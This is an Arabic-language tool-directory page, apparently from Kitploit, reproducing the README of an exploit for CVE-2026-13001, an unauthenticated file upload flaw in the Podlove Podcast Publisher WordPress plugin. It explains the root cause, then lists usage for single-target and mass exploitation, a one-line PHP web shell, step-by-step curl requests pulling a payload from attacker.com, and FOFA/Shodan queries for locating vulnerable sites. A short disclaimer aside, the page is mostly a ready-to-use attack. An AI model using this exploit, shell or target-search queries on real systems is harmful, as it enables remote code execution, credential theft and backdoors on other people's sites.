Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/byt3l0rd/cve-2026-13001
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubbyt3l0rd/cve-2026-13001

CVE-2026-13001

استغلال لـ CVE-2026-13001، رفع ملفات تعسفي غير مصادق عليه في إضافة Podlove Podcast Publisher لـ WordPress، مما يتيح تنفيذ الأكواد عن بُعد عبر رفع ملف PHP متعدد الصيغ. يتضمن أوضاع الفحص لهدف واحد والفحص الجماعي.

عرض المستودع
منذ 11س 6دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-13001 — ثغرة رفع ملفات غير مصادق عليها وتنفيذ أوامر عن بُعد في إضافة Podlove Podcast Publisher

عدم تطابق is_image() مع extract_file_extension() ← رفع ملف PHP متعدد الصيغ


نظرة عامة

CVE-2026-13001 هي ثغرة رفع ملفات عشوائية غير مصادق عليها بدرجة خطورة حرجة (CVSS 9.8) في إضافة Podlove Podcast Publisher لووردبريس بإصدارات ≤ 4.5.1.

تستغل الثغرة عدم تطابق بين دالتين داخليتين تقومان بتحليل امتدادات الملفات بشكل مختلف:

  • is_image() تستخدم التي ← عنوان URL يظهر كـ ✅ (صورة صالحة)
basename()
تتضمن سلاسل الاستعلام
shell.php?.gif
.gif
  • extract_file_extension() تستخدم مسار parse_url() فقط ← تُرجع .php ← يُحفظ الملف بامتداد .php 🚨
  • يقوم المهاجمون برفع ملفات GIF89a متعددة الصيغ PHP (ترويسة GIF صالحة + PHP مضمّنة) التي تجتاز التحقق من الصورة ولكنها تُنفَّذ كـ PHP عند الوصول إليها.

    الإصدارات المتأثرة

    الإصدارالحالة
    ≤ 4.5.1متأثر
    4.5.2+مُصحَّح

    اكتُشفت بواسطة: Talal Nasraddeen عبر Wordfence (14 يوليو 2026)


    آلية الثغرة

    السبب الجذري

    root@kitploit:~
    // is_image() — تستخدم basename() التي تتضمن سلسلة الاستعلام
    function is_image($url) {
        $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
        return in_array($ext, ['jpg','jpeg','png','gif','webp']);
    }
    // URL: https://attacker.com/shell.php?.gif
    // basename() → "shell.php?.gif" → ext = "gif" ✅ تم تجاوزها
    
    root@kitploit:~
    // extract_file_extension() — تستخدم مسار parse_url() فقط
    function extract_file_extension($url) {
        $path = parse_url($url, PHP_URL_PATH);
        return pathinfo($path, PATHINFO_EXTENSION);
    }
    // URL: https://attacker.com/shell.php?.gif
    // parse_url() → "/shell.php" → ext = "php" 🚨 يُحفظ كـ .php
    

    سير الهجوم

    root@kitploit:~
    1. يستضيف المهاجم ملف GIF89a متعدد الصيغ PHP على attacker.com/shell.php?.gif
    2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
    3. تتحقق is_image() من امتداد .gif ← نجاح
    4. يقوم الإضافة بتحميل الملف ← يحفظه كـ test_original.php في cache/
    5. يصل المهاجم إلى /wp-content/cache/podlove/{hash}/test_original.php
    6. يُنفَّذ PHP ← تنفيذ أوامر عن بُعد
    

    التثبيت

    root@kitploit:~
    git clone https://github.com/shinthink/CVE-2026-13001.git
    cd CVE-2026-13001
    pip install -r requirements.txt
    

    الاستخدام

    root@kitploit:~
    # هدف واحد
    python cve_2026_13001.py -t target.com
    
    # فحص جماعي
    python cve_2026_13001.py -f targets.txt -o shells.txt
    
    # عنوان حمولة مخصص
    python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
    
    # وضع التصحيح، مع ترك القوائم
    python cve_2026_13001.py -t target.com --debug --no-cleanup
    

    الوسائط

    root@kitploit:~
      -t, --target       هدف واحد (نطاق أو IP)
      -f, --file         قائمة الأهداف، هدف واحد في كل سطر
      -o, --output       حفظ عناوين RCE في ملف
      --payload-url      عنوان URL يستضيف ملف PHP متعدد الصيغ (الافتراضي: GitHub raw)
      --threads          عدد العمال المتزامنين (الافتراضي: 30)
      --no-cleanup       ترك القوائم على الهدف
      --debug            عرض كل طلب HTTP
      -v, --verbose      إخراج تفصيلي
    

    إثبات المفهوم

    هدف واحد

    root@kitploit:~
    $ python cve_2026_13001.py -t podcast-site.com
    
    root@kitploit:~
      Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
    
      Host       : podcast-site.com
      Podlove    : YES v4.5.1
      Upload     : YES
      RCE        : YES
      Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
      Output     : uid=33(www-data) gid=33(www-data)
      Time       : 4.2s
    

    فحص جماعي

    root@kitploit:~
      Targets: 500  |  Threads: 30
      Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
    
      [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
      [150/500] 30% | Det:42 RCE:8
    

    الاستغلال اليدوي

    الخطوة 1 — استضافة قشرة متعددة الصيغ

    root@kitploit:~
    // shell.php — احفظه واستضفه على خادمك
    GIF89a<?php system($_GET['c']); ?>
    

    الخطوة 2 — ترميز عنوان URL بالنظام الست عشري مع التجاوز

    root@kitploit:~
    # URL: https://attacker.com/shell.php?.gif
    echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
    

    الخطوة 3 — تشغيل تحميل الكاش

    root@kitploit:~
    curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
    

    الخطوة 4 — الوصول إلى القشرة

    root@kitploit:~
    # المسار: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
    curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
    

    FOFA / Shodan

    root@kitploit:~
    FOFA:   body="podlove-podcasting-plugin-for-wordpress"
    Shodan: http.html:"podlove"
    

    التأثير

    الاستغلال الناجح يحقق تنفيذ أوامر عن بُعد كمستخدم خادم الويب:

    • استخراج wp-config.php ← بيانات اعتماد قاعدة البيانات
    • الوصول إلى جميع محتويات ووردبريس والمستخدمين وبيانات الإضافات
    • نشر أبواب خلفية دائمة
    • الانتقال إلى الشبكات الداخلية

    إخلاء مسؤولية

    لأغراض تعليمية واختبارات مصرح بها فقط.

    لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.


    المراجع

    المصدرالرابط
    استشارة Wordfencewordfence.com
    إصدار Podlove الأمنيpodlove.org
    إدخال NVDCVE-2026-13001
    الباحثTalal Nasraddeen

    غير مرتبط بـ Podlove.

    تنزيل الأداة